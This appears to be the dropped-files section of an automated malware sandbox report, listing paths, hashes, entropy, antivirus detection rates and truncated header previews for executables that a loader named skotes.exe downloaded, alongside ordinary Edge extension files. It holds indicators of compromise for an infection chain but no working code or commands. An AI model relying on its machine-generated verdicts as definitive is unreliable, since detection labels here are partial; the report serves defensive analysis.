C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.949639816152448
Encrypted:	false
SSDEEP:	49152:CY7fSqTkCxEgPKHDvngXmdh+ZVXt91Sr14pv:CSqq/YH7ngWyXr1SB4p
MD5:	181C832FACF1E2A1B604AB7B265BF084
SHA1:	38874FF64066B47E66058D5B719DDDDE74C0A675
SHA-256:	12B0F79E1217A6B50F610695EE8AA2C668ABCD5A5F52A4546CBB75FBC06D96C2
SHA-512:	87072D377A06D436DD44DD628211B5FF1488E8787B87F68C988AEBF5B487460B656F0199659A9F752AEFADF72B0CF2285A7D3ABAC667C3E90636035C4DCB2EE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g..............................H...........@...........................I.....b$....@.................................T@..h............................A...................................................................................... . . .......J..................@....rsrc .....0.......Z..............@....idata .....@.......Z..............@... ..*..P.......\..............@...jhxiqwys.p...`/..f...^..............@...sydghrgw......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1822720
Entropy (8bit):	7.946662085050102
Encrypted:	false
SSDEEP:	24576:3xthPGb366+kvx7SppO17XNDiZZ3xZgvr+lPQBYvHqsO+cAjXVaZatNh3BjhBCB:3hV6nEppOlXNOkrIY8qsPDXbn1B3y
MD5:	2F9CE4F5D569B97571847C93C0FBEA69
SHA1:	D01078627F0BB0442F27536B90A5D8EEE50455B0
SHA-256:	CF6D8B136D1AA904232F925E014FCD9C448ED211005DAABFC9B2DC9EACD30361
SHA-512:	2C4060CD34AC025F7D3A3E718F3901C3AEDCB7585D57BCE8001605839A866290BEA2925E3CEF5D5E516386E03D0FCB8BFCFAA96F985CD8534C2B9978F50A5969
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......j...........@..........................0j......4....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... ..*...$......t..............@...qtucxrez.@....O..2...v..............@...khcuhpfk......i.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4416512
Entropy (8bit):	7.983503620020968
Encrypted:	false
SSDEEP:	98304:FHe8EXNnsUC1nsNi08h5iLfPrlcr9cUYS302MHcNc4+JvpgjqSE1cDTpBn3CG:QqJ1n308h4JAcUVhMHci4+QCMfyG
MD5:	5552526220FA0F65D5371D522781FCAB
SHA1:	09A58D7523266565F9A32198356A7B40E5BFA029
SHA-256:	638E6484019DB8C7AB1005F06509B859C76A0D86FD907B4BEFDE9C8C15708020
SHA-512:	8AC56EC18352D02BCF454DBF25E41A6D577CEAD5E8DFA03290D7D3DD590E950183C11B7E54C849598C70019B4BFFB64FFBAB18108079E0E99ACCCE29BCA58D05
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A.5g...............(..G..2i..2...@........H...@..........................p........C...@... ............................._.f.s........................... -...............................,...................................................... . ..f......l'.................@....rsrc ......f......\|'.............@....idata ......f......\|'.............@... ..8...f......~'.............@...uquybeiu.....p........'.............@...cqjmtrkl.....0.......>C.............@....taggant.0...@..."...BC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.949639816152448
Encrypted:	false
SSDEEP:	49152:CY7fSqTkCxEgPKHDvngXmdh+ZVXt91Sr14pv:CSqq/YH7ngWyXr1SB4p
MD5:	181C832FACF1E2A1B604AB7B265BF084
SHA1:	38874FF64066B47E66058D5B719DDDDE74C0A675
SHA-256:	12B0F79E1217A6B50F610695EE8AA2C668ABCD5A5F52A4546CBB75FBC06D96C2
SHA-512:	87072D377A06D436DD44DD628211B5FF1488E8787B87F68C988AEBF5B487460B656F0199659A9F752AEFADF72B0CF2285A7D3ABAC667C3E90636035C4DCB2EE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g..............................H...........@...........................I.....b$....@.................................T@..h............................A...................................................................................... . . .......J..................@....rsrc .....0.......Z..............@....idata .....@.......Z..............@... ..*..P.......\..............@...jhxiqwys.p...`/..f...^..............@...sydghrgw......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1822720
Entropy (8bit):	7.946662085050102
Encrypted:	false
SSDEEP:	24576:3xthPGb366+kvx7SppO17XNDiZZ3xZgvr+lPQBYvHqsO+cAjXVaZatNh3BjhBCB:3hV6nEppOlXNOkrIY8qsPDXbn1B3y
MD5:	2F9CE4F5D569B97571847C93C0FBEA69
SHA1:	D01078627F0BB0442F27536B90A5D8EEE50455B0
SHA-256:	CF6D8B136D1AA904232F925E014FCD9C448ED211005DAABFC9B2DC9EACD30361
SHA-512:	2C4060CD34AC025F7D3A3E718F3901C3AEDCB7585D57BCE8001605839A866290BEA2925E3CEF5D5E516386E03D0FCB8BFCFAA96F985CD8534C2B9978F50A5969
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......j...........@..........................0j......4....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... ..*...$......t..............@...qtucxrez.@....O..2...v..............@...khcuhpfk......i.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2848768
Entropy (8bit):	6.498104911127921
Encrypted:	false
SSDEEP:	24576:nig8/G9iTiZm3TV62CLLL/uns1PFGf6csRMspJ3U3sVG2EEsH5MiJM0Zx2WO7Qc5:38/GcmZmDV8zWs1DFE2EJ5bASudJR
MD5:	6AF7BB44C8E6E041BF2EE6B7A60D9AB3
SHA1:	D2097C734FA39A904796DC832946D5C23F400C7A
SHA-256:	F5C34A6757804A619A99A1BA73BA51BA25A158E5EE6E9CC86A2BE1292064E415
SHA-512:	0C42E65C806CE75269EBE012FF5271CA5CA43E63229E9B1E6232FA530AFC6CCB9F2EC6AB79DF2C48023C83FA68A3FB44FBEDE339339936B54447CF6D14505FF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....>4,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cqrjeytt. +.......+..:..............@...ftifzosq. ....+......P+.............@....taggant.@....+.."...V+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6fbe7947-1c2e-4709-bfe7-dd6f9f11ae14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\76a1cc2f-9dcb-4de9-8a0d-1ecccdfd86cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\a6b44c5c-4d54-4cc9-8550-1513db0bcf8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsGHIDGDHCGC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3255808
Entropy (8bit):	6.664418544530714
Encrypted:	false
SSDEEP:	49152:hoSQiwTUp3N57tv1RWM65ZNRizKacCBB3cdEYzMDek:xQrTS3NJx2p3NAzDjBVuEYxk
MD5:	00C0358385D6AE38BBB01A8AE4671488
SHA1:	4EF5087B146F94CEB84F1BA2D58A17831CF5317F
SHA-256:	F2DCC9F8B6E1B4F53548E4C05BB3E618090AB3D16D263584723644A32CBF9DC3
SHA-512:	EC616D518B45710C7BC20FCCE4C539FB5BC818083A4B127134ED3BC747EBE8DD1CCCE1984B3280A6AB12B60113839ABC4D066E9D262F6EDCD4791A75183D78EB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......1...@.................................W...k.......H...................8.1..............................1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...hqrrjeyx..........................@...ohdidvea......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cad161e9-5d64-454c-96a6-e2be24853ec5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.4078525208171335
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrP:8e2Fa116uCntc5toYELM
MD5:	5AB325DB1205E46CFDA8D7F3E382F24D
SHA1:	88EEA1067F85B298F67C3ED2A60CFE7A7932A403
SHA-256:	65A0F3CC2E11CE440E47D1E2C7AA706174452039211BF15D5930726C0972CBBE
SHA-512:	BBD7F7E28EBC8E7F380F95018CBCD8D9E761DD9341E35337B7F1316633FB89B7024D9C06B667A774052DA02DD75FDD3A00D43771ED4B753D36920FE452F9A9FA
Malicious:	false
Reputation:	unknown
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir7712_1344084719\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Reputation:	unknown
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7712_1344084719\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7712_1344084719\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7712_1344084719\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Reputation:	unknown
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_1344084719\a6b44c5c-4d54-4cc9-8550-1513db0bcf8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... 